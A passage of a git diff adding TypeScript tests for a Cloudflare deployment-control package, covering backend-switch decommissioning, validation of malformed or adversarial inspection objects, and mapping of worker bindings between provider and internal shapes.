}; + for (const [ + label, + action, + selectedPrior, + selectedTarget, + selectedCurrent, + message, + ] of [ + [ + 'active start prior', + { kind: 'start' as const }, + wrongPriorSpec, + targetSpec, + targetSpec, + 'backend switch prior decommission spec differs from durable intent', + ], + [ + 'active start target', + { kind: 'start' as const }, + priorSpec, + wrongSpec, + targetSpec, + 'backend switch target decommission spec differs from durable intent', + ], + [ + 'active start current', + { kind: 'start' as const }, + priorSpec, + targetSpec, + wrongSpec, + 'backend switch current decommission spec differs from durable intent', + ], + [ + 'current work prior', + { kind: 'continue' as const, token: started.token }, + wrongPriorSpec, + targetSpec, + targetSpec, + 'backend switch prior decommission spec differs from durable intent', + ], + [ + 'current work target', + { kind: 'continue' as const, token: started.token }, + priorSpec, + wrongSpec, + targetSpec, + 'backend switch target decommission spec differs from durable intent', + ], + [ + 'current work current', + { kind: 'continue' as const, token: started.token }, + priorSpec, + targetSpec, + wrongSpec, + 'backend switch current decommission spec differs from durable intent', + ], + ] as const) { + await expectAuthorityRefusal({ + label, + selectedStore: store, + selectedProvider: provider, + action, + selectedPrior, + selectedTarget, + selectedCurrent, + message, + }); + } + + const priorDesiredStore = new MemorySwitchStore(); + const priorDesiredProvider = new BoundedFakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(priorDesiredStore, priorDesiredProvider), + ); + bindBoundedDatabase(priorDesiredStore, priorDesiredProvider); + priorDesiredStore.record = { + ...priorDesiredStore.record, + desiredSpecDigest: deploymentSpecDigest(priorSpec), + }; + const { + currentSpec: _shelllessCurrentSpec, + ...shelllessPriorDesiredOptions + } = boundedOptions(priorDesiredStore, priorDesiredProvider, { + kind: 'start', + }); + const priorDesiredStarted = await advanceBackendSwitchDecommission( + shelllessPriorDesiredOptions, + ); + expect(priorDesiredStarted.status).toBe('pending'); + const { currentSpec: _activeCurrentSpec, ...activePriorDesiredOptions } = + boundedOptions(priorDesiredStore, priorDesiredProvider, { + kind: 'start', + }); + await expect( + advanceBackendSwitchDecommission(activePriorDesiredOptions), + ).resolves.toMatchObject({ status: 'pending' }); + + const missingCurrentStore = new MemorySwitchStore(); + const missingCurrentProvider = new BoundedFakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(missingCurrentStore, missingCurrentProvider), + ); + bindBoundedDatabase(missingCurrentStore, missingCurrentProvider); + missingCurrentStore.record = { + ...missingCurrentStore.record, + desiredSpecDigest: 'e'.repeat(64), + }; + const { currentSpec: _missingCurrentSpec, ...missingCurrentOptions } = + boundedOptions(missingCurrentStore, missingCurrentProvider, { + kind: 'start', + }); + const missingCurrentPutCalls = missingCurrentStore.putCalls; + await expect( + advanceBackendSwitchDecommission(missingCurrentOptions), + ).rejects.toThrow( + 'backend switch decommission requires the exact current specification', + ); + expect(missingCurrentStore.putCalls - missingCurrentPutCalls).toBe(0); + + const blockedAuthorityStore = new MemorySwitchStore(); + const blockedAuthorityProvider = new BoundedFakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(blockedAuthorityStore, blockedAuthorityProvider), + ); + bindBoundedDatabase(blockedAuthorityStore, blockedAuthorityProvider); + blockedAuthorityProvider.blockScans = true; + let blockedAuthority = await advanceBackendSwitchDecommission( + boundedOptions(blockedAuthorityStore, blockedAuthorityProvider, { + kind: 'start', + }), + ); + for ( + let index = 0; + blockedAuthority.status === 'pending' && index < 32; + index += 1 + ) { + blockedAuthority = await advanceBackendSwitchDecommission( + boundedOptions(blockedAuthorityStore, blockedAuthorityProvider, { + kind: 'continue', + token: blockedAuthority.token, + }), + ); + } + if (blockedAuthority.status !== 'blocked') { + throw new Error('authority fixture did not block'); + } + for (const [ + label, + action, + selectedPrior, + selectedTarget, + selectedCurrent, + message, + ] of [ + [ + 'blocked start prior', + { kind: 'start' as const }, + wrongPriorSpec, + targetSpec, + targetSpec, + 'backend switch prior decommission spec differs from durable intent', + ], + [ + 'blocked start target', + { kind: 'start' as const }, + priorSpec, + wrongSpec, + targetSpec, + 'backend switch target decommission spec differs from durable intent', + ], + [ + 'blocked start current', + { kind: 'start' as const }, + priorSpec, + targetSpec, + wrongSpec, + 'backend switch current decommission spec differs from durable intent', + ], + [ + 'restart blocked prior', + { kind: 'restart-blocked' as const, token: blockedAuthority.token }, + wrongPriorSpec, + targetSpec, + targetSpec, + 'backend switch prior decommission spec differs from durable intent', + ], + [ + 'restart blocked target', + { kind: 'restart-blocked' as const, token: blockedAuthority.token }, + priorSpec, + wrongSpec, + targetSpec, + 'backend switch target decommission spec differs from durable intent', + ], + [ + 'restart blocked current', + { kind: 'restart-blocked' as const, token: blockedAuthority.token }, + priorSpec, + targetSpec, + wrongSpec, + 'backend switch current decommission spec differs from durable intent', + ], + ] as const) { + await expectAuthorityRefusal({ + label, + selectedStore: blockedAuthorityStore, + selectedProvider: blockedAuthorityProvider, + action, + selectedPrior, + selectedTarget, + selectedCurrent, + message, + }); + } + + const receiptStore = new MemorySwitchStore(); + const receiptProvider = new BoundedFakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(receiptStore, receiptProvider), + ); + bindBoundedDatabase(receiptStore, receiptProvider); + let receiptResult = await advanceBackendSwitchDecommission( + boundedOptions(receiptStore, receiptProvider, { kind: 'start' }), + ); + for ( + let index = 0; + receiptStore.record.decommissionIntent?.databaseExportReceiptAuthority === + undefined && + receiptResult.status === 'pending' && + index < 32; + index += 1 + ) { + receiptResult = await advanceBackendSwitchDecommission( + boundedOptions(receiptStore, receiptProvider, { + kind: 'continue', + token: receiptResult.token, + }), + ); + } + expect( + receiptStore.record.decommissionIntent?.databaseExportReceiptAuthority, + ).toBe('test-receipts'); + Object.defineProperty(receiptProvider, 'databaseExportReceiptAuthority', { + configurable: true, + value: 'changed-receipts', + }); + await expectAuthorityRefusal({ + label: 'active start selected receipt', + selectedStore: receiptStore, + selectedProvider: receiptProvider, + action: { kind: 'start' }, + selectedCurrent: targetSpec, + message: + 'database export receipt authority differs from configured authority', + }); + if (receiptResult.status !== 'pending') { + throw new Error('receipt authority fixture has no current token'); + } + await expectAuthorityRefusal({ + label: 'current work selected receipt', + selectedStore: receiptStore, + selectedProvider: receiptProvider, + action: { kind: 'continue', token: receiptResult.token }, + selectedCurrent: targetSpec, + message: + 'database export receipt authority differs from configured authority', + }); + Object.defineProperty(receiptProvider, 'databaseExportReceiptAuthority', { + configurable: true, + value: 'test-receipts', + }); + receiptProvider.blockScans = true; + const receiptBlocked = await advanceBackendSwitchDecommission( + boundedOptions(receiptStore, receiptProvider, { + kind: 'continue', + token: receiptResult.token, + }), + ); + if (receiptBlocked.status !== 'blocked') { + throw new Error('selected receipt authority fixture did not block'); + } + Object.defineProperty(receiptProvider, 'databaseExportReceiptAuthority', { + configurable: true, + value: 'changed-receipts', + }); + for (const [label, action] of [ + ['blocked start selected receipt', { kind: 'start' as const }], + [ + 'restart blocked selected receipt', + { kind: 'restart-blocked' as const, token: receiptBlocked.token }, + ], + ] as const) { + await expectAuthorityRefusal({ + label, + selectedStore: receiptStore, + selectedProvider: receiptProvider, + action, + selectedCurrent: targetSpec, + message: + 'database export receipt authority differs from configured authority', + }); + } + + const pendingCurrentSpec = { + ...targetSpec, + authoredBy: 'platform' as const, + durableObjectMigrations: [{ tag: 'v1', newClasses: ['Alpha', 'Runner'] }], + durableObjectBindings: [ + { name: 'ALPHA', className: 'Alpha' }, + { name: 'RUNNER', className: 'Runner' }, + ], + egressProxyService: 'egress-service', + queueProducer: { binding: 'EVENTS', queueName: 'events' }, + application: { + vars: [{ name: 'APP_VAR', value: 'application-value' }], + secrets: [{ name: 'APP_SECRET', valueSha256: 'c'.repeat(64) }], + r2Buckets: [], + }, + } satisfies DeploymentSpec; + const pendingInspection = { + application: applicationBindingTopology(pendingCurrentSpec, []), + artifactVersion: 'pending-v2', + databaseIds: [BOUNDED_DATABASE_ID], + durableObjectBindings: [ + { + name: 'ALPHA', + className: 'Alpha', + namespaceId: 'namespace-z', + }, + { + name: 'RUNNER', + className: 'Runner', + namespaceId: 'namespace-a', + }, + ], + queueProducerBindings: [{ name: 'EVENTS', queueName: 'events' }], + secretNames: [ + 'APP_SECRET', + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + ], + serviceBindings: [{ name: 'EGRESS_PROXY', service: 'egress-service' }], + specDigest: deploymentSpecDigest(pendingCurrentSpec), + }; + const pendingEntry = async ( + inspection: unknown, + recordApplication = applicationBindingTopology(pendingCurrentSpec, []), + ) => { + const pendingStore = new MemorySwitchStore(); + const pendingProvider = new BoundedFakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(pendingStore, pendingProvider), + ); + bindBoundedDatabase(pendingStore, pendingProvider); + const switchIntent = pendingStore.intent; + if (!switchIntent) throw new Error('switch intent is missing'); + pendingStore.record = { + tenantTag: priorSpec.tenantTag, + environment: priorSpec.environment, + backend: 'plain-worker', + scriptName: priorSpec.scriptName, + databaseId: BOUNDED_DATABASE_ID, + databaseName: priorSpec.databaseName, + schemaVersion: priorSpec.schemaVersion, + artifactVersion: 'plain-v1', + desiredSpecDigest: deploymentSpecDigest(targetSpec), + pendingSpecDigest: deploymentSpecDigest(pendingCurrentSpec), + pendingArtifactVersion: 'pending-v2', + applicationBindings: recordApplication, + durableObjectBindings: [], + routeHostname: priorSpec.routeHostname, + phase: 'migrating', + updatedAt: pendingStore.record.updatedAt, + backendSwitchIntent: switchIntent, + }; + Object.defineProperty( + pendingProvider, + 'captureSwitchEntryPendingArtifact', + { + configurable: true, + value: async () => inspection, + }, + ); + return { pendingStore, pendingProvider }; + }; + const validPending = await pendingEntry(pendingInspection); + await expect( + advanceBackendSwitchDecommission({ + ...boundedOptions( + validPending.pendingStore, + validPending.pendingProvider, + { kind: 'start' }, + ), + currentSpec: pendingCurrentSpec, + }), + ).resolves.toMatchObject({ status: 'pending' }); + expect( + validPending.pendingStore.intent?.decommissionSnapshot + ?.entryPendingNamespaceIds, + ).toEqual(['namespace-a', 'namespace-z']); + + let hostileGetterCalls = 0; + let hostileProxyGetCalls = 0; + const withoutApplication = { ...pendingInspection } as Partial< + typeof pendingInspection + >; + Reflect.deleteProperty(withoutApplication, 'application'); + const accessorInspection = { ...pendingInspection }; + Object.defineProperty(accessorInspection, 'artifactVersion', { + configurable: true, + enumerable: true, + get() { + hostileGetterCalls += 1; + return 'pending-v2'; + }, + }); + const cyclicInspection = structuredClone( + pendingInspection, + ) as unknown as Record; + cyclicInspection.application = cyclicInspection; + let deepApplication: unknown = { value: 'leaf' }; + for (let depth = 0; depth < 70; depth += 1) { + deepApplication = { value: deepApplication }; + } + const oversizedPendingArtifactVersion = 'x'.repeat(4 * 1024 * 1024 + 1); + const pendingCases: readonly Readonly<{ + label: string; + inspection: unknown; + recordApplication?: import('../src/types.js').ApplicationBindingTopology; + }>[] = [ + { label: 'missing top-level key', inspection: withoutApplication }, + { + label: 'extra top-level key', + inspection: { ...pendingInspection, extra: true }, + }, + { + label: 'symbol top-level key', + inspection: { ...pendingInspection, [Symbol('extra')]: true }, + }, + { + label: 'artifact version', + inspection: { ...pendingInspection, artifactVersion: 'foreign-v2' }, + }, + { + label: 'spec digest', + inspection: { ...pendingInspection, specDigest: 'f'.repeat(64) }, + }, + { + label: 'database identifier', + inspection: { ...pendingInspection, databaseIds: ['foreign-db'] }, + }, + { + label: 'extra database identifier', + inspection: { + ...pendingInspection, + databaseIds: [BOUNDED_DATABASE_ID, 'foreign-db'], + }, + }, + { + label: 'durable binding name', + inspection: { + ...pendingInspection, + durableObjectBindings: pendingInspection.durableObjectBindings.map( + (binding, index) => + index === 0 ? { ...binding, name: 'FOREIGN' } : binding, + ), + }, + }, + { + label: 'durable binding class', + inspection: { + ...pendingInspection, + durableObjectBindings: pendingInspection.durableObjectBindings.map( + (binding, index) => + index === 0 ? { ...binding, className: 'Foreign' } : binding, + ), + }, + }, + { + label: 'durable binding script selector', + inspection: { + ...pendingInspection, + durableObjectBindings: pendingInspection.durableObjectBindings.map( + (binding, index) => + index === 0 + ? { ...binding, scriptName: 'foreign-worker' } + : binding, + ), + }, + }, + { + label: 'durable binding dispatch selector', + inspection: { + ...pendingInspection, + durableObjectBindings: pendingInspection.durableObjectBindings.map( + (binding, index) => + index === 0 + ? { ...binding, dispatchNamespace: 'foreign-dispatch' } + : binding, + ), + }, + }, + { + label: 'empty namespace identifier', + inspection: { + ...pendingInspection, + durableObjectBindings: pendingInspection.durableObjectBindings.map( + (binding, index) => + index === 0 ? { ...binding, namespaceId: '' } : binding, + ), + }, + }, + { + label: 'duplicate namespace identifier', + inspection: { + ...pendingInspection, + durableObjectBindings: pendingInspection.durableObjectBindings.map( + (binding) => ({ ...binding, namespaceId: 'namespace-a' }), + ), + }, + }, + { + label: 'noncanonical binding-name order', + inspection: { + ...pendingInspection, + durableObjectBindings: [ + ...pendingInspection.durableObjectBindings, + ].reverse(), + }, + }, + { + label: 'service binding name', + inspection: { + ...pendingInspection, + serviceBindings: [{ name: 'FOREIGN', service: 'egress-service' }], + }, + }, + { + label: 'service binding service', + inspection: { + ...pendingInspection, + serviceBindings: [ + { name: 'EGRESS_PROXY', service: 'foreign-service' }, + ], + }, + }, + { + label: 'service binding entrypoint', + inspection: { + ...pendingInspection, + serviceBindings: [ + { + name: 'EGRESS_PROXY', + service: 'egress-service', + entrypoint: 'ForeignEntrypoint', + }, + ], + }, + }, + { + label: 'service binding extra key', + inspection: { + ...pendingInspection, + serviceBindings: [ + { name: 'EGRESS_PROXY', service: 'egress-service', extra: true }, + ], + }, + }, + { + label: 'queue binding name', + inspection: { + ...pendingInspection, + queueProducerBindings: [{ name: 'FOREIGN', queueName: 'events' }], + }, + }, + { + label: 'queue binding queue', + inspection: { + ...pendingInspection, + queueProducerBindings: [ + { name: 'EVENTS', queueName: 'foreign-events' }, + ], + }, + }, + { + label: 'queue binding extra key', + inspection: { + ...pendingInspection, + queueProducerBindings: [ + { name: 'EVENTS', queueName: 'events', extra: true }, + ], + }, + }, + { + label: 'missing secret', + inspection: { + ...pendingInspection, + secretNames: pendingInspection.secretNames.slice(1), + }, + }, + { + label: 'noncanonical secret order', + inspection: { + ...pendingInspection, + secretNames: [...pendingInspection.secretNames].reverse(), + }, + }, + { + label: 'extra secret', + inspection: { + ...pendingInspection, + secretNames: [...pendingInspection.secretNames, 'FOREIGN_SECRET'], + }, + }, + { + label: 'application topology', + inspection: { + ...pendingInspection, + application: { + ...pendingInspection.application, + vars: [{ name: 'APP_VAR', value: 'changed' }], + }, + }, + }, + { + label: 'record application topology', + inspection: pendingInspection, + recordApplication: { + ...pendingInspection.application, + vars: [{ name: 'APP_VAR', value: 'changed' }], + }, + }, + { label: 'hostile accessor', inspection: accessorInspection }, + { + label: 'hostile transparent proxy', + inspection: new Proxy(structuredClone(pendingInspection), { + get(target, key, receiver) { + hostileProxyGetCalls += 1; + return Reflect.get(target, key, receiver); + }, + }), + }, + { label: 'hostile cycle', inspection: cyclicInspection }, + { + label: 'depth bound', + inspection: { ...pendingInspection, application: deepApplication }, + }, + { + label: 'node bound', + inspection: { + ...pendingInspection, + application: Array.from({ length: 65_537 }, () => null), + }, + }, + { + label: 'scalar bound', + inspection: { + ...pendingInspection, + artifactVersion: oversizedPendingArtifactVersion, + }, + }, + { + label: 'serialized bound', + inspection: { + ...pendingInspection, + application: Array.from({ length: 60_000 }, () => 'x'.repeat(67)), + }, + }, + ]; + for (const { label, inspection, recordApplication } of pendingCases) { + const malformedPending = await pendingEntry( + inspection, + recordApplication, + ); + const beforePutCalls = malformedPending.pendingStore.putCalls; + const beforeRecord = structuredClone( + malformedPending.pendingStore.record, + ); + const beforeProvider = { + calls: [...malformedPending.pendingProvider.calls], + scanCalls: malformedPending.pendingProvider.scanCalls, + receiptCalls: malformedPending.pendingProvider.receiptCalls, + boundedDeleteCalls: malformedPending.pendingProvider.boundedDeleteCalls, + }; + let clockCalls = 0; + let uuidCalls = 0; + const encode = + label === 'scalar bound' + ? vi.spyOn(TextEncoder.prototype, 'encode') + : undefined; + try { + await expect( + advanceBackendSwitchDecommission({ + ...boundedOptions( + malformedPending.pendingStore, + malformedPending.pendingProvider, + { kind: 'start' }, + ), + currentSpec: pendingCurrentSpec, + clock: () => { + clockCalls += 1; + return Date.parse('2026-08-13T00:00:00.000Z'); + }, + randomUUID: () => { + uuidCalls += 1; + return '123e4567-e89b-42d3-a456-426614174000'; + }, + }), + label, + ).rejects.toThrow( + 'backend switch pending artifact inspection is malformed', + ); + if (encode) { + const serializedOversizedScalar = JSON.stringify( + oversizedPendingArtifactVersion, + ); + expect( + encode.mock.calls.some( + ([value]) => value === serializedOversizedScalar, + ), + label, + ).toBe(false); + } + } finally { + encode?.mockRestore(); + } + expect( + malformedPending.pendingStore.putCalls - beforePutCalls, + label, + ).toBe(0); + expect(malformedPending.pendingStore.record, label).toEqual(beforeRecord); + expect( + { + calls: malformedPending.pendingProvider.calls, + scanCalls: malformedPending.pendingProvider.scanCalls, + receiptCalls: malformedPending.pendingProvider.receiptCalls, + boundedDeleteCalls: + malformedPending.pendingProvider.boundedDeleteCalls, + }, + label, + ).toEqual(beforeProvider); + expect(clockCalls, label).toBe(0); + expect(uuidCalls, label).toBe(0); + } + expect(hostileGetterCalls).toBe(0); + expect(hostileProxyGetCalls).toBe(1); + }); + + it('resumes one release or bridge action after provider and Fleet response loss', async () => { + const store = new MemorySwitchStore(); + const provider = new BoundedFakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(store, provider), + ); + bindBoundedDatabase(store, provider); + let result = await advanceBackendSwitchDecommission( + boundedOptions(store, provider, { kind: 'start' }), + ); + if (result.status !== 'pending') throw new Error('missing start token'); + result = await advanceBackendSwitchDecommission( + boundedOptions(store, provider, { + kind: 'continue', + token: result.token, + }), + ); + if (result.status !== 'pending') throw new Error('missing traffic token'); + provider.failReleaseDeleteResponseOnce = true; + await expect( + advanceBackendSwitchDecommission( + boundedOptions(store, provider, { + kind: 'continue', + token: result.token, + }), + ), + ).rejects.toThrow('release delete response lost'); + expect(store.intent?.decommissionSnapshot?.releases[0]?.subphase).toBe( + 'delete-authorized', + ); + + const completed = await decommissionBackendSwitch({ + store, + provider, + priorSpec, + targetSpec, + currentSpec: targetSpec, + }); + expect(completed.subphase).toBe('decommissioned'); + expect(provider.releaseDeleteMutations.get('acme-candidate')).toBe(1); + }); + + it('consumes matching R2 verification one resource at a time', async () => { + const application = { + vars: [], + secrets: [], + r2Buckets: [{ name: 'FILES', jurisdiction: 'default' as const }], + }; + const selectedPriorSpec: DeploymentSpec = { + ...priorSpec, + application, + }; + const selectedTargetSpec: DeploymentSpec = { + ...targetSpec, + application, + }; + const resource = switchApplicationR2Resource( + 'FILES', + 'default', + '2026-08-11T00:00:00.000Z', + ); + const store = new MemorySwitchStore(); + const provider = new BoundedFakeSwitchProvider(); + store.record = { + ...store.record, + desiredSpecDigest: deploymentSpecDigest(selectedPriorSpec), + applicationResources: [resource], + applicationBindings: applicationBindingTopology(selectedPriorSpec, [ + resource, + ]), + }; + provider.applicationResources = [resource]; + provider.r2Buckets.set(resource.bucketName, resource); + await switchPlainDeploymentToWorkersForPlatforms({ + ...switchOptions(store, provider), + priorSpec: selectedPriorSpec, + targetSpec: selectedTargetSpec, + }); + bindBoundedDatabase(store, provider); + store.record = { + ...store.record, + applicationResources: [resource], + applicationBindings: applicationBindingTopology(selectedTargetSpec, [ + resource, + ]), + }; + + const completed = await driveBoundedSwitch( + store, + provider, + selectedTargetSpec, + selectedPriorSpec, + ); + expect(completed.result.record.applicationResources).toMatchObject([ + { name: 'FILES', state: 'deleted' }, + ]); + expect(provider.r2Buckets.size).toBe(0); + expect(provider.scanCalls).toBe(6); + }); + + it('converges receipt export and fenced D1 deletion without adopting legacy export authorization', async () => { + const store = new MemorySwitchStore(); + const provider = new BoundedFakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(store, provider), + ); + bindBoundedDatabase(store, provider); + + const completed = await driveBoundedSwitch(store, provider); + expect(completed.result).toMatchObject({ + record: { phase: 'decommissioned' }, + databaseExport: { + location: 'r2://exports/acme-bounded.sql', + sha256: '6'.repeat(64), + size: 456, + }, + }); + expect(provider.receiptCalls).toBe(1); + expect(provider.boundedDeleteCalls).toBe(1); + expect(provider.calls).not.toContain('decommission-export'); + expect(provider.calls).not.toContain('decommission-database'); + + let terminalCapabilityReads = 0; + Object.defineProperty(provider, 'advanceSwitchDecommissionAttachmentScan', { + configurable: true, + get() { + terminalCapabilityReads += 1; + throw new Error('terminal capability getter must stay inert'); + }, + }); + await expect( + decommissionBackendSwitch({ + store, + provider, + priorSpec, + targetSpec, + currentSpec: targetSpec, + }), + ).resolves.toMatchObject({ subphase: 'decommissioned' }); + expect(terminalCapabilityReads).toBe(0); + for (const [label, selectedPrior] of [ + [ + 'completed prior digest', + { + ...priorSpec, + modules: [ + { name: 'worker.js', content: 'export default { changed: true }' }, + ], + }, + ], + [ + 'completed prior route', + { ...priorSpec, routeHostname: 'foreign.example.test' }, + ], + ] as const) { + const beforePutCalls = store.putCalls; + const beforeProviderCalls = [...provider.calls]; + const beforeRecord = structuredClone(store.record); + await expect( + decommissionBackendSwitch({ + store, + provider, + priorSpec: selectedPrior, + targetSpec, + currentSpec: targetSpec, + }), + label, + ).rejects.toThrow( + 'backend switch prior decommission spec differs from durable intent', + ); + expect(store.putCalls - beforePutCalls, label).toBe(0); + expect(store.record, label).toEqual(beforeRecord); + expect(provider.calls, label).toEqual(beforeProviderCalls); + expect(terminalCapabilityReads, label).toBe(0); + } + + const lateStore = new MemorySwitchStore(); + const lateProvider = new BoundedFakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(lateStore, lateProvider), + ); + bindBoundedDatabase(lateStore, lateProvider); + await advanceBackendSwitchDecommission( + boundedOptions(lateStore, lateProvider, { kind: 'start' }), + ); + const lateIntent = lateStore.intent as BackendSwitchIntent; + const { decommissionIntent: _lateShell, ...lateRecord } = lateStore.record; + lateStore.record = { + ...lateRecord, + phase: 'decommissioning', + backendSwitchIntent: { + ...lateIntent, + subphase: 'decommission-export-authorized', + }, + }; + let lateCapabilityReads = 0; + Object.defineProperty( + lateProvider, + 'advanceSwitchDecommissionAttachmentScan', + { + configurable: true, + get() { + lateCapabilityReads += 1; + throw new Error('late compatibility must not read capabilities'); + }, + }, + ); + await expect( + advanceBackendSwitchDecommission( + boundedOptions(lateStore, lateProvider, { kind: 'start' }), + ), + ).rejects.toThrow( + 'bounded backend-switch decommission cannot adopt shell-less legacy D1 authorization', + ); + expect(lateCapabilityReads).toBe(0); + await expect( + decommissionBackendSwitch({ + store: lateStore, + provider: lateProvider, + priorSpec, + targetSpec, + currentSpec: targetSpec, + }), + ).resolves.toMatchObject({ subphase: 'decommissioned' }); + expect(lateCapabilityReads).toBe(0); + expect(lateProvider.calls).toContain('decommission-export'); + expect(lateProvider.calls).toContain('decommission-database'); + }); }); diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts index 65c90c91..6f9a9035 100644 --- a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -12,6 +12,11 @@ import { withProviderDispatchTracking, } from '../src/cloudflare-client.js'; import { databaseExportReceiptError } from '../src/database-export-store.js'; +import { + assertSupportedPlainWorkerBindings, + plainWorkerBindingsToProviderShape, + providerBindingsToPlainWorkerShape, +} from '../src/provider-binding-inventory.js'; import type { DatabaseExportReceiptIdentity, PlainWorkerUploadIntent, @@ -1010,19 +1015,82 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { it('maps every supported binding and all unsupported provider facts', async () => { const bindings: readonly unknown[] = [ - { type: 'd1', name: 'D1_ID', id: 'id-wins', database_id: 'ignored' }, + { type: 'd1', name: 'D1_ID', id: 'id-only' }, { type: 'd1', name: 'D1_DATABASE', database_id: 'database-id' }, + { + type: 'd1', + name: 'D1_EQUAL', + id: 'equal-id', + database_id: 'equal-id', + }, + { + type: 'd1', + name: 'D1_SENTINEL', + id: '', + database_id: 'sentinel-id', + }, { type: 'durable_object_namespace', name: 'DO', class_name: 'State', namespace_id: 'namespace', + script_name: 'owner', + dispatch_namespace: 'dispatch', + }, + { + type: 'service', + name: 'SERVICE', + service: 'upstream', + entrypoint: 'Admin', }, - { type: 'service', name: 'SERVICE', service: 'upstream' }, { type: 'queue', name: 'QUEUE', queue_name: 'jobs' }, - { type: 'r2_bucket', name: 'R2', bucket_name: 'objects' }, + { + type: 'r2_bucket', + name: 'R2', + bucket_name: 'objects', + jurisdiction: 'eu', + }, { type: 'plain_text', name: 'TEXT', text: 'value' }, { type: 'secret_text', name: 'SECRET' }, + { + type: 'd1', + name: 'D1_CONFLICT', + id: 'left', + database_id: 'right', + }, + { + type: 'durable_object_namespace', + name: 'DO_ENV', + class_name: 'State', + namespace_id: 'namespace', + environment: 'production', + }, + { + type: 'service', + name: 'SERVICE_ENV', + service: 'upstream', + environment: 'production', + }, + { + type: 'r2_bucket', + name: 'R2_JURISDICTION', + bucket_name: 'objects', + jurisdiction: 'fedramp-high', + }, + ...[ + { type: 'd1', name: 'D1_EXTRA', database_id: 'db' }, + { + type: 'durable_object_namespace', + name: 'DO_EXTRA', + class_name: 'State', + namespace_id: 'namespace', + }, + { type: 'service', name: 'SERVICE_EXTRA', service: 'upstream' }, + { type: 'queue', name: 'QUEUE_EXTRA', queue_name: 'jobs' }, + { type: 'r2_bucket', name: 'R2_EXTRA', bucket_name: 'objects' }, + { type: 'plain_text', name: 'TEXT_EXTRA', text: 'value' }, + { type: 'secret_text', name: 'SECRET_EXTRA' }, + ].map((binding) => ({ ...binding, extra: true })), null, { type: ' ', name: 'INVALID' }, { type: 'ai', name: 'UNSUPPORTED' }, @@ -1040,19 +1108,58 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { expect(viewed.versionId).toBe('v1'); expect(viewed.tag).toBe('tag'); expect(viewed.bindings).toEqual([ - { type: 'd1', name: 'D1_ID', databaseId: 'id-wins' }, + { type: 'd1', name: 'D1_ID', databaseId: 'id-only' }, { type: 'd1', name: 'D1_DATABASE', databaseId: 'database-id' }, + { type: 'd1', name: 'D1_EQUAL', databaseId: 'equal-id' }, + { type: 'd1', name: 'D1_SENTINEL', databaseId: 'sentinel-id' }, { type: 'durable-object', name: 'DO', className: 'State', namespaceId: 'namespace', + scriptName: 'owner', + dispatchNamespace: 'dispatch', + }, + { + type: 'service', + name: 'SERVICE', + service: 'upstream', + entrypoint: 'Admin', }, - { type: 'service', name: 'SERVICE', service: 'upstream' }, { type: 'queue-producer', name: 'QUEUE', queueName: 'jobs' }, - { type: 'r2-bucket', name: 'R2', bucketName: 'objects' }, + { + type: 'r2-bucket', + name: 'R2', + bucketName: 'objects', + jurisdiction: 'eu', + }, { type: 'plain-text', name: 'TEXT', value: 'value' }, { type: 'secret-text', name: 'SECRET' }, + ...[ + ['D1_CONFLICT', 'd1'], + ['DO_ENV', 'durable_object_namespace'], + ['SERVICE_ENV', 'service'], + ['R2_JURISDICTION', 'r2_bucket'], + ['D1_EXTRA', 'd1'], + ['DO_EXTRA', 'durable_object_namespace'], + ['SERVICE_EXTRA', 'service'], + ['QUEUE_EXTRA', 'queue'], + ['R2_EXTRA', 'r2_bucket'], + ['TEXT_EXTRA', 'plain_text'], + ['SECRET_EXTRA', 'secret_text'], + ].map(([name, providerType]) => ({ + type: 'unsupported' as const, + name, + providerType: providerType as + | 'd1' + | 'durable_object_namespace' + | 'service' + | 'queue' + | 'r2_bucket' + | 'plain_text' + | 'secret_text', + issue: 'malformed-supported-binding' as const, + })), { type: 'unsupported', name: undefined, issue: 'not-object' }, { type: 'unsupported', @@ -1067,6 +1174,93 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { issue: 'unsupported-type', }, ]); + expect( + plainWorkerBindingsToProviderShape(viewed.bindings.slice(0, 10)), + ).toEqual([ + { type: 'd1', name: 'D1_ID', id: 'id-only' }, + { type: 'd1', name: 'D1_DATABASE', id: 'database-id' }, + { type: 'd1', name: 'D1_EQUAL', id: 'equal-id' }, + { type: 'd1', name: 'D1_SENTINEL', id: 'sentinel-id' }, + { + type: 'durable_object_namespace', + name: 'DO', + namespace_id: 'namespace', + class_name: 'State', + script_name: 'owner', + dispatch_namespace: 'dispatch', + }, + { + type: 'service', + name: 'SERVICE', + service: 'upstream', + entrypoint: 'Admin', + }, + { type: 'queue', name: 'QUEUE', queue_name: 'jobs' }, + { + type: 'r2_bucket', + name: 'R2', + bucket_name: 'objects', + jurisdiction: 'eu', + }, + { type: 'plain_text', name: 'TEXT', text: 'value' }, + { type: 'secret_text', name: 'SECRET' }, + ]); + for (const binding of viewed.bindings.filter( + (binding) => + binding.type === 'unsupported' && + binding.issue === 'malformed-supported-binding', + )) { + expect(() => + assertSupportedPlainWorkerBindings([binding], 'pending version'), + ).toThrow( + 'pending version has an unsupported or malformed provider binding', + ); + expect(plainWorkerBindingsToProviderShape([binding])).toEqual([ + undefined, + ]); + } + for (const raw of [ + Object.assign( + { type: 'secret_text', name: 'SYMBOL_SECRET' }, + { [Symbol('extra')]: true }, + ), + Object.assign( + { type: 'plain_text', name: 'SYMBOL_TEXT', text: 'value' }, + { [Symbol('extra')]: true }, + ), + ]) { + const [normalized] = providerBindingsToPlainWorkerShape([raw]); + expect(normalized).toMatchObject({ + type: 'unsupported', + issue: 'malformed-supported-binding', + }); + expect(() => + assertSupportedPlainWorkerBindings( + [normalized as PlainWorkerVersionBinding], + 'pending version', + ), + ).toThrow( + 'pending version has an 